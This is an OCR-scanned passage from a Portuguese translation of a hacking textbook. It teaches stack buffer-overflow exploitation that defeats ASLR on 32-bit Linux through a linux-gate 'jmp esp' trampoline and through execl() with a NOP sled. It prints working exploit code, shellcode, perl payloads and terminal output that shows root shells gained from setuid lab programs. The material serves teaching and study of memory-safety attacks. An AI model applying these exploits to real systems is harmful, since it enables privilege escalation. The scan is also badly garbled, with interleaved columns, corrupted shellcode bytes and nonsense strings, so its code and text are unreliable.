inicio do buffer. Desde o deslocamento do endereco de retorno foram 19
palavras, isso significa que ap6s a instrugédo ret final da fungdo main 0,
o ESP aponta para a meméria da pilha encontrada diretamente apos o
endereco de retorno. Isso seria Util se houvesse uma maneira de controlar
o EIP para ir aonde o ESP est4 apontando no lugar dele.

0x6¢€2 Lancando o Linux-gate

As técnicas descritas a seguir ndo funcionam com kernels Linux desde
a versao 2.6.18. Essa técnica ganhou alguma popularidade e, é claro, os
desenvolvedores repararam o problema. O kernel usado no LiveCD inclu-
s0 € 0 2.6.20, assim, a saida a seguir a partir da maquina loki, a qual esta
rodando um kernel Linux 2.6.17. Mesmo que essa técnica em particular
nao funcione no LiveCD, os conceitos atras dela podem ser aplicados de
outras formas (teis.

Langar o Linux-gate refere-se a objetos compartilhados, expostos pelo
kernel, que parece uma biblioteca dividida. O programa Idd mostra as de-
pendéncias da biblioteca compartilhada de um programa. Vocé nota alguma
coisa interessante sobre a biblioteca Linux-gate na saida a seguir?

matrix@loki /hacking $ $ uname -a
Linux hacking 2.6.17 #2 SMP Sun Apr 11 03:42:05 UTC 2007 i686 GNU/Linux
matrix@loki /hacking $ cat /proc/sys/kernel/randomize _ va _ space
1
matrix@loki /hacking $ 1ldd ./aslr _demo
linux-gate.so.l => (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7eb2000)
/1lib/1d-linux.s0.2 (0xb7fe5000)
matrix@loki /hacking $ 1dd /bin/ls
linux-gate.so.l => (0xffffe000)
librt.so.l => /lib/librt.so.l (0xb7£95000)
libc.so.6 => /lib/libc.so.6 (0xb7e75000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000)
/lib/1d-linux.so0.2 (0xb7fb1000)
matrix@loki /hacking $ 1ldd /bin/ls
linux-gate.so.l => (Oxffffe000)
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librt.so.l => /lib/librt.so.l (0xb7£50000)

libc.so.6 => /lib/libc.so.6 (0xb7e30000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000)
/lib/1ld-linux.so0.2 (0xb7£6c000)

matrix@loki /hacking $

Até em programas diferentes e com o ASLR ativado, 0 Linux-gate.
so.1 sempre esta presente no mesmo endereco. Isso é um objeto virtual
compartilhado dinamicamente usado pelo kernel para acelerar as chama-
das de sistema, o que significa que é necessario em todos os processos.
Ele é carregado diretamente do kernel e nao existe em nenhum outro
lugar no disco.

Uma coisa importante é que todo processo tem um bloco de meméria
contendo instrucdes do Linux-gate, que sempre estdao na mesma locali-
zagao, mesmo com o ASRL. Vamos buscar esse espago na memoria para
uma certa instrucado de montagem jmp, esp. Essa instrugao pulara o EIP
para onde o ESP estéd apontando. Primeiro, montamos a instrucao para
ver como se sai no codigo de maquina.

matrix@loki /hacking $ cat > jmpesp.s

BITS 32

jmp esp

matrix@loki /hacking $ nasm jmpesp.s

matrix@loki /hacking $ hexdump -C jmpesp

00000000 ff ed |..1
00000002

matrix@loki /hacking $

Utilizando essa informagao, um programa simples pode ser escrito
para encontrar esse modelo na prépria memoéria do programa.

find_jmpesp.c

int main()

{
unsigned long linuxgate _ start = Oxffffe000;

char *ptr = (char *) linuxgate _ start;
int i;

for(i=0; i < 4096; i++)

{
if(ptr(i] == “\xff’ && ptr[i+l] == “\xed’)

printf(“found jmp esp at %p\n”, ptr+i);

Quando o programa é compilado e executado, ele mostra que essa
instrugdo existe em 0xffffe777. Isso pode ser verificado mais adiante
utilizando o GDB:
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matrix@loki /hacking $ ./find _ jmpesp

found jmp esp at Oxffffe777

matrix@loki /hacking $ gdb -q ./aslr _demo

Using host libthread _db library “/lib/libthread _ db.so.l”.
(gdb) break main

Breakpoint 1 at 0x80483f0: file aslr demo.c, line 7.

(gdb) run -

Starting program: /hacking/aslr _ demo

Breakpoint 1, main (argc=1, argv=0xbf869894) at aslr demo.c:7
7 printf(“buffer is at %p\n”, s&buffer); B

(gdb) x/i O0xffffe?77

Oxffffe777: jmp esp

(gdb)

Reunindo tudo, se sobrescreveremos o endere¢o de retorno com o
enderego 0xffffe777, entdo a execugao ira pular para o Linux-gate quando
a funcao principal retornar. Visto que essa € uma instru¢ao jmp esp, a
execugao ird pular imediatamente de volta do Linux-gate para qualquer
lugar que o ESP possa estar apontando. A partir de nossa depuragao
anterior, sabemos que, ao final da fungéo, o ESP esta apontando para a
memoria diretamente ap6s o endereco de retorno. Assim, se o shellcode
é colocado aqui, o EIP langa corretamente para dentro dele.

matrix@loki /hacking $ sudo chown root:root ./aslr _ demo
matrix@loki /hacking $ sudo chmod u+s ./aslr _demo
matrix@loki /hacking $ ./aslr _demo $(perl -e ‘print “\x77\xe7\xff\xff”x20’)$(cat
scode.bin)

buffer is at 0xbf8d9%ael
sh-3.1#

Essa técnica também pode ser usada para explorar o programa note-
seach, como mostrado aqui.

matrix@loki /hacking $ for i in “seq1 50°; do ./notesearch $(perl -e “print ‘AAAA'x$i”); if [
$? == 139 ]; then echo “Try $i words”; break; fi; done
[DEBUG] found a 34 byte note for user id 1000

[DEBUG] found a 41 byte note for user id 1000

[DEBUG] found a 63 byte note for user id 1000

||||||| [ end of note data ]-——----

*** QUTPUT TRIMMED ***

[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
||||||| [ end of note data ]-------
Segmentation fault

Try 35 words

matrix@loki /hacking $ ./notesearch $(perl -e ‘print “\x77\xe7\xff\xff”x35’)$(cat
scode.bin)

[DEBUG] found a 34 byte note for user id 1000
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[DEBUG] found a 41 byte note for user id 1000

[DEBUG] found a 63 byte note for user id 1000

nnnnnnn [ end of note data ]-------

segmentation fault

matrix@loki /hacking $ ./notesearch $(perl -e ‘print “\x77\xe7\xff\xff”x36’)$(cat
scode2.bin)

[DEBUG] found a 34 byte note for user id 1000

[DEBUG] found a 41 byte note for user id 1000

[DEBUG] found a 63 byte note for user id 1000

nnnnnnn [ end of note data ]-------

N

A estimativa inicial de 35 palavras foi abandonada, ja que o programa
ainda é quebrado com o buffer de exploragdo um pouco menor. Mas isso
esta na devida estimativa de alcance, assim um programa manual (ou um
modo mais preciso de calcular o amm_OomBm:ﬂov é tudo que se precisa.

Certamente, langar o Linux-gate é um truque escorregadio, mas ele s
funciona com kernels Linux mais antigos. De volta ao LiveCD, que executa
um kernel Linux 2.6.20, a instrucao util ndo é encontrada no espago de en-
dereco comum.

reader@hacking:~/booksrc $ uname -a

Linux hacking 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 1686 GNU/Linux
reader@hacking:~/booksrc $ gcc -o find _ jmpesp find _ jmpesp.c
reader@hacking:~/booksrc $ ./find _jmpesp
reader@hacking:~/booksrc $ gcc -g -o aslr _demo aslr _demo.c
reader@hacking:~/booksrc $ ./aslr _demo test

buffer is at 0xbfcf3480

reader@hacking:~/booksrc $ ./aslr _demo test

buffer is at 0xbfd39cd0

reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr _ demo
SHELLCODE will be at 0xbfc8d9c3

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr _ demo
SHELLCODE will be at 0OxbfaOc9c3

reader@hacking:~/booksrc $

Sem a instrugdo jmp esp em um endereco previsivel, nao ha uma
maneira facil de langar o Linux-gate. Vocé pode pensar em um modo para
escapar do ASLR para explorar 0 aslr _demo no LiveCD?

0x6¢3 Conhecimento aplicado

Situagdes como essa sdo as que fazem do hacker um artista. O panorama
do nivel de seguranca dos computadores muda constantemente, e as vulne-
rabilidades especificas sdo descobertas e reparadas todos os dias. Contudo,
se vocé entender os conceitos centrais das técnicas de hacking explicadas
neste livro, vocé pode aplica-las de modo novo e criativo para resolver o pro-
blema du jour. Como os blocos de LEGO, essas técnicas podem ser usadas
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em milhares de combinagoes e configuragoes diferentes. Como em qual aslr_execl.c
arte, quanto mais vocé pratica essas técnicas, melhor ird entendé-lag M:mq
essa compreensao vem o conhecimento para estimar amm_OomBmiow .
conhecer segmentos de memoria por seus alcances de endereco. o
memm. caso, o problema ainda é o ASLR. Esperangosamente, voca t
algumas ideias de escapar que gostaria de tentar agora. Nao ﬁm.::m m maB
de usar o depurador para examinar o que esta realmente moosﬁmnm:ma "y
_u3<m<m_3m:8 existem varias maneiras de escapar do ASLR, e vocé ao.
inventar uma nova técnica. Se vocé ndo encontrar uma solugao, nao mmuo :
ocupe -vou explicar um método na sec¢ao seguinte. Mas é m:momm:aEqu-
vélido pensar um pouco sobre esse problema antes de continuar _m:a%ﬁm

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv(]) {
int pilha _ var;

// Imprime um endereco da estrutura atual da pilha.
printf(“pilha _var is at $p\n”, &pilha _var);

. »
// Inicia aslr _demo para ver como sua pilha é organizada.
execl(®./aslr demo”, “aslr _demo”, NULL);

0x6c4 Uma primei i
P ira tentativa Quando esse programa é compilado e executado, executaréd execl()

para aslr_demo, que também imprimira o endereco da variavel da pilha.

Na verda i i ]
de, escrevi este capitulo antes do Linux-gate ser reparado no Isso nos permite comparar os arranjos de memoria.

xm.ﬂzm_.ao Linux, assim, tive que hackear uma escapatéria do ASLR. Meu
primeiro pensamento foi alavancar a familia de métodos execl (). ._..m30w
usado w meétodo execve () em nosso shellcode para produzir uma shell e
mm\<onm prestar bem atencao (ou apenas ler a pagina do manual), notara m
método execve () substituindo o atual processo que esta sendo mwmocnmao
com a nova imagem do processo.

reader@hacking:~/booksrc $ gcc -o aslr _demo aslr demo.c
reader@hacking:~/booksrc $ gcc -o aslr _execl aslr _execl.c
reader@hacking:~/booksrc $ ./aslr _demo test

buffer is at 0xbf9£31c0O

reader@hacking:~/booksrc $ ./aslr _demo test

buffer is at Oxbffaaf70

reader@hacking:~/booksrc $ ./aslr _execl

pilha _var is at 0xbf832044

buffer is at 0xbf832000

EXEC(3) Linux Programmer’s Manual

N.
AME reader@hacking:~/booksrc $ gdb -q —-batch -ex “p 0xbf832044 - 0xbf832000”
execl, execlp, execle, execv, execvp - execute a file $1 = 68
reader@hacking:~/booksrc $ ./aslr _execl
mxzommww . pilha _var is at 0xbfa97844
include Aczwwna;‘.ﬂv buffer is at 0xbf82£800
m,wx.nmﬂ: char **environ; reader@hacking:~/booksrc $ gdb -g --batch -ex “p 0xbfa97844 - 0xbf82£800”
u..:n execl(const char *path, const char *arg, ...); $1 = 2523204
u..sﬁ execlp(const char *file, const char *arg, ...); reader@hacking:~/booksrc $ ./aslr _execl
int execle(const char *path, const char *arg, pilha _var is at OxbfbbObcd
. ..., char * const envp[]); buffer is at 0xbff3e710
u.raﬁ execv(const char *path, char *const argv(]); reader@hacking:~/booksrc $ gdb -q --batch -ex “p OxbfbbObc4 - 0xbff3e710”
int execvp(const char *file, char *const argv(]); $1 = 4291241140
reader@hacking:~/booksrc $ ./aslr _execl
DESCRIPTION pilha var is at Oxbf9a8lb4

buffer is at 0xbf9a8180

reader@hacking:~/booksrc $ gdb -q —-patch -ex “p 0xbf9a8lb4 - 0xbf9%a8180”
$1 = 52

reader@hacking:~/booksrc $

.H_w.,m exec() family of functions replaces the current process image
with a new process image. The functions described in this manual
page are front-ends for the function execve(2). (See the manual
page for execve() for detailed information about the replacement
of the current process.)

O primeiro resultado parece muito promissor, mas outras tentativas
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Parece que poderia haver uma vulnerabilidade aqui se o layout da memoria
3_‘ wm:ao:ﬁmao apenas quando o processo € iniciado. Vamos testar essa
:_Uo.ﬁmmm com um pedago do cédigo que imprime o endereco de uma variavel
da pilha e entdo executa 0 aslr _ demo usando uma fungao execl ().

mostram que hé algum grau de randomizagao ocorrendo quando 0 NOVO
processo é executado com execl(). Estou certo que esse nem sempre
seria o caso, mas o progresso do cédigo aberto é algo continuo. Isso nao
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chega a ser um problema,

desde que tenha
. 3 i
com as incertezas. ST el iy

0x6¢5 Brincando com as possibilidades

_ Usando o execl() pelo menos limita a ran
alcance do endereco préximo aproximado. A i
com um sled NOP. Uma rapida anélise do aslr

touro do buffer precisa ser de 80 bytes para so
retorno armazenado na pilha.

domizagao e nos g4 um
ncerteza pode ser lidada
_ demo mostra que o es-
brescrever o endereco de

reader@hacking:~/booksrc $ gdb -q ./aslr demo

Using host 1i i
g ibthread _db library “/1ib/t1s/i686/cmov/libthread db s0.1”

MMMWM.HCS $(perl -e ‘Print “AAAA”x19 . “BBBB”’)
ing program: /home/re
R mamH\Uoowth\mmwnl.amao $(perl -e ‘print “AAAA”x19

if(argc > 1) // Define offset.
offset = atoi(argv(l]);

ret = (unsigned int) &i - offset + 200; // Define o end. de

retorno.
printf(“ret addr is $p\n”, ret);

for(i=0; i < 90; i+=4) // Preenche o buffer com o end. de retorno.
*((unsigned int *)(buffer+i)) = ret;
memset (buffer+84, 0x90, 900); // Build NOP sled.
memcpy (buffer+900, shellcode, sizeof(shellcode));
N

execl(™./aslr _demo”, “aslr _demo”, buffer, NULL);

}

Esse codigo deve fazer sentido para vocé. O valor 200 é adicionado
ao endereco de retorno para saltar os primeiros 90 bytes usados para a
sobrescrigao, assim a execugao se aloja em algum lugar no sled NOP.

buffer is at 0xbfc7d3b0

Program received si nal S % entation fault.
v g IGSEGV, Segmentat fault

(gdb) p 20*4
$1 = 80
(gdb) quit

The program is runni i
ng. Exit anyway?
reader@hacking:~/booksrc $ ey reR B

Ja que provavelmente
. queremos um sled NOP be
exploit do sled NOP e do shellcode serao colocad
de retorno sobrescrito.
sled NOP necesséaria. N
o suficiente.

aslr_execl_exploit.c

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char shellcode([]=

:NHWWNMMWﬂxWW/xaU/xup/xow/xmw/xco/xmb/xoa/me/xmm/xoU/xmm/xmp/xmm:
" X /xmm/xmm/xmm/xmw/xmw/xmm/xmw/xmw/xmy/xmw/x 2\ ”
xel\xcd\x80”; // Standard shellcode SrEe

int main(int argec, char *argv(]) {
unsigned int i, ret, offset;

char buffer([1000];

printf(™i is at %$p\n”, &i);
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m maior, no seguinte
os depois do ender

[T I [ m o
Isso nos permitir4 injetar a quantidade de cmE
este caso, aproximadamente mil bytes deve ser

reader@hacking:~/booksrc
reader@hacking:~/booksrc
reader@hacking:~/booksrc
reader@hacking:~/booksrc
i is at Oxbfa3f26c

ret addr is 0xb79fé6ded
buffer is at Oxbfa3ee80
Segmentation fault
reader@hacking:~/booksrc
$1 = 1004
reader@hacking:~/booksrc
i is at Oxbfe9bécc

ret addr is Oxbfe9b3a8
buffer is at Oxbfe9b2el
sh-3.2# exit

exit
reader@hacking:~/booksrc
i is at 0xbfb5a38c

ret addr is Oxbfb5a068
buffer is at 0xbfb20760
Segmentation fault
reader@hacking:~/booksrc
$1 = 236588
reader@hacking:~/booksrc
i is at 0xbfce050c

ret addr is OxbfceOle8
buffer is at Oxbfce0130
sh-3.2# whoami

root

sh-3.2#

$ ./a.out 1004

$ sudo chown root ./aslr _demo
$ sudo chmod u+s ./aslr _demo
$ gcc aslr _execl _ exploit.c

$ gdb -q --batch -ex “p Oxbfa3f26c - Oxbfa3ee80”

$ gdb -q --batch -ex “p Oxbfb5a38c - 0xbfb20760”

Como vocé pode ver, a randomizacao ocasionalmente promove a falha
de um exploit, mas isso ocorre apenas uma vez. Isso alavanca o fato de
que podemos tentar o exploit quantas vezes quisermos. A mesma técnica
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iré funcionar com o exploit do notesearch enquanto o ASLR esta sendo
executado. Tente escrever um exploit para isso.

Uma vez que os conceitos bésicos dos exploits de programas sig
compreendidos, inGmeras variacdes sdo possiveis com um pouco de
criatividade. Uma vez que as regras de um programa sejam definidas pelog
seus criadores, explorar um programa supostamente seguro é simples.
mente uma questéo de derrota-los em seu proprio jogo. Novos métodos
inteligentes, tais como pilhas guardias e IDSs, tentam compensar estes
problemas, mas essas solugées também néo sao perfeitas. A ingenuidade
de um hacker tende a encontrar falhas nesses sistemas. Pense apenas
nas coisas que eles ndo pensaram.
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